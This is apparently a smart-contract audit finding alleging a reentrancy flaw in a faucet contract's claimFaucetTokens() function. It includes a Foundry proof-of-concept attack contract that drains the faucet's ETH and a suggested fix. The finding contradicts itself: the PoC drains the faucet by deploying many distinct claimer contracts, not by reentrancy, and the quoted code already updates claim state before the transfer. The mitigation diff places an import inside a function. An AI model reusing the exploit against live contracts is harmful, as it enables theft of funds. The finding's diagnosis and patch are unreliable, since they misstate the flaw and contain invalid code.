High: Reentrancy in claimFaucetTokens
Description:
The claimFaucetTokens() function in the RaiseBoxFaucet.sol contract contains a Reentrancy vulnerability due to improper ordering of state updates and external calls.
The contract sends ETH to users before completing all internal state changes, which allows a malicious contract to re-enter and repeatedly claim tokens or ETH.
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success, ) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
}
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
Proof of Concept
A malicious actor can drain the faucet’s Sepolia ETH drips by deploying multiple malicious contracts (distinct addresses) and having each contract call claimFaucetTokens() once. Each distinct contract address is treated as a “first‑time claimer” and thus receives the per‑claimer sepEthAmountToDrip until the dailySepEthCap is exhausted. This PoC demonstrates a full drain of a faucet funded to the daily cap.
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/RaiseBoxFaucet.sol";
contract MaliciousContract {
RaiseBoxFaucet public faucet;
address public owner;
bool public attacked;
constructor(address payable _faucet) {
faucet = RaiseBoxFaucet(_faucet);
owner = msg.sender;
attacked = false;
}
receive() external payable {
if (!attacked) {
attacked = true;
faucet.claimFaucetTokens();
}
}
function exploit() external {
faucet.claimFaucetTokens();
}
function withdraw(address payable to) external {
require(msg.sender == owner, "not owner");
to.transfer(address(this).balance);
}
}
contract HackerTest is Test {
RaiseBoxFaucet faucet;
address attacker1 = address(0xBEEF);
address attacker2 = address(0xBEEF1);
address attacker3 = address(0xBEEF2);
address attacker4 = address(0xBEEF3);
function setUp() public {
faucet = new RaiseBoxFaucet("RaiseBoxPoC", "RBP", 1 ether, 0.5 ether, 2 ether);
vm.deal(address(this), 10 ether);
(bool ok, ) = address(faucet).call{value: 2 ether}("");
require(ok, "fund faucet failed");
assertEq(address(faucet).balance, 2 ether);
}
function testDrainFaucetUsingMultipleMaliciousContracts_SingleFile() public {
vm.warp(block.timestamp + 3 days + 1);
MaliciousContract m1;
MaliciousContract m2;
MaliciousContract m3;
MaliciousContract m4;
vm.prank(attacker1);
m1 = new MaliciousContract(payable(address(faucet)));
vm.prank(attacker1);
m1.exploit();
vm.prank(attacker2);
m2 = new MaliciousContract(payable(address(faucet)));
vm.prank(attacker2);
m2.exploit();
vm.prank(attacker3);
m3 = new MaliciousContract(payable(address(faucet)));
vm.prank(attacker3);
m3.exploit();
vm.prank(attacker4);
m4 = new MaliciousContract(payable(address(faucet)));
vm.prank(attacker4);
m4.exploit();
assertEq(address(faucet).balance, 0);
uint256 total =
address(m1).balance + address(m2).balance + address(m3).balance + address(m4).balance;
assertEq(total, 2 ether);
vm.prank(attacker1);
m1.withdraw(payable(attacker1));
assertEq(attacker1.balance, 0.5 ether);
}
}
Risk
Likelihood:
This occurs whenever a malicious contract calls claimFaucetTokens() to exploit the low-level call.
No reentrancy protection (nonReentrant) or CEI pattern is applied, making it consistently exploitable.
Impact:
An attacker can repeatedly re-enter claimFaucetTokens() before state variables are updated.
This drains both faucet tokens and Sepolia ETH from the contract, bypassing claim limits and cooldowns.
Recommended Mitigation
Implement proper checks-effects-interactions pattern by completing all state changes before making external calls. Additionally, consider using OpenZeppelin's ReentrancyGuard for comprehensive protection.
- (bool success, ) = faucetClaimer.call{value: sepEthAmountToDrip}("");
- if (success) {
- emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
- } else {
- revert RaiseBoxFaucet_EthTransferFailed();
- }
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
+ // Apply Checks-Effects-Interactions
+ lastClaimTime[msg.sender] = block.timestamp;
+ dailyClaimCount++;
+ hasClaimedEth[msg.sender] = true;
+ dailyDrips += sepEthAmountToDrip;
+
+ (bool success, ) = msg.sender.call{value: sepEthAmountToDrip}("");
+ if (!success) revert RaiseBoxFaucet_EthTransferFailed();
+ emit SepEthDripped(msg.sender, sepEthAmountToDrip);
+ // Alternatively, add reentrancy protection:
+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
+ function claimFaucetTokens() public nonReentrant { ... }